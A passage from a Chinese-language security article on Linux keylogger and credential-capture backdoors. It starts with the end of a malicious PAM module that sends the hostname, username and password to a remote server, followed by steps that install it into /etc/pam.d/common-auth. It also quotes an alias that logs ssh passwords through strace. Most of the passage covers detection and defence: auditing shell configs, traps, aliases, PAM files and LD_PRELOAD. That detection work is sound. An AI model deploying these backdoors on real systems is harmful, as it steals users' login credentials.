); pam_get_item(pamh, PAM_AUTHTOK, (void *) &password); if (retval != PAM_SUCCESS) { return retval; } gethostname(hostname, sizeof hostname); snprintf (message,2048 ,"Hostname: %s\nUsername %s\nPassword: %s\n" ,hostname,username,password); sendMessage(&message); return PAM_SUCCESS; }
利用:
1 2 3 4 5 6 7 make cp looter.so /usr/lib/x86_64-linux-gnu/security/vim /etc/pam.d/common-auth auth optional looter.so account optional looter.so
远端服务器接受到密码信息:
0x05 防御&检测方式 1. 查看进程 查看用户进程,确认是否有sciprt -B \ starce等相关进程
2. 查看用户默认shell的配置文件 以root身份或者是其他用户身份,对其他用户的bash配置文件进行检查,查看是否存在script等相关内容或者是 fakerc内容 配置文件中是否alias了一些敏感的程序 如:
1 alias ssh='strace -o /tmp/sshpwd-`date ' +%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
3. ~/.bashrc 不可修改参数 以root用户对服务器上用户的相关配置文件加锁
再次执行将会提示无权限操作.
4. 查看用户家目录或tmp目录下是否存在记录终端历史记录的可疑文件 1 2 3 .bash_cache .script.lock .......
5. 检测trap\alias 可以检测是否有待执行的trap命令:
没有trap信号执行是无回显的,像这种情况是有待执行的命令的,可以使用以下命令进行清除
使用alias命令,列出目前所有别名命令
若有可疑的别名命令,可使用以下命令进行清除(当前终端)
1 2 unalias -a #清除全部 unalias ssh
6.检查/etc/pam.d/ 通过阅读/etc/pam.d/下的文件配置,检查是否有被修改. 关键的认证文件:
1 2 3 4 5 6 /etc/pam.d/common-auth /etc/pam.d/sudo /etc/pam.d/sshd /etc/pam.d/su /etc/pam.d/login ....
7. 检查LD_PRELOAD 检查环境变量
检查/etc/ld.so.preload是否存在并且是否有可以的动态链接文件。也可以使用ldd
命令去查看程序动态加载了什么文件。
对于已经启动的进程,可以通过pmap
命令来进行查看其加载的动态链接库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 root@debian-ttt:~ 4068: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 000055e885a63000 48K r---- sshd 000055e885a6f000 512K r-x-- sshd 000055e885aef000 292K r---- sshd 000055e885b38000 16K r---- sshd 000055e885b3c000 4K rw--- sshd 000055e885b3d000 20K rw--- [ anon ] 000055e887425000 264K rw--- [ anon ] 00007f723456a000 12K r---- libnss_files-2.31.so 00007f723456d000 28K r-x-- libnss_files-2.31.so 00007f7234574000 8K r---- libnss_files-2.31.so 00007f7234576000 4K r---- libnss_files-2.31.so 00007f7234577000 4K rw--- libnss_files-2.31.so ....................[省略一部分] 00007f72350d3000 64K rw--- [ anon ] 00007f72350e3000 12K r---- libwrap.so.0.7.6 00007f72350e6000 20K r-x-- libwrap.so.0.7.6 00007f72350eb000 8K r---- libwrap.so.0.7.6 00007f72350ed000 4K r---- libwrap.so.0.7.6 00007f72350ee000 4K rw--- libwrap.so.0.7.6 00007f72350f4000 4K r---- b.so 00007f72350f5000 4K r-x-- b.so 00007f72350f6000 4K r---- b.so 00007f72350f7000 4K r---- b.so 00007f72350f8000 4K rw--- b.so 00007f72350f9000 8K rw--- [ anon ] 00007f72350fb000 4K r---- ld-2.31.so 00007f72350fc000 128K r-x-- ld-2.31.so 00007f723511c000 32K r---- ld-2.31.so 00007f7235125000 4K r---- ld-2.31.so 00007f7235126000 4K rw--- ld-2.31.so 00007f7235127000 4K rw--- [ anon ] 00007fff517f9000 132K rw--- [ stack ] 00007fff5188d000 16K r---- [ anon ] 00007fff51891000 8K r-x-- [ anon ] total 13312K
0x06 小结 本文以垃圾的文笔介绍了Linux键盘记录的相关后门,本文若有错误的地方 恳请师傅们指正.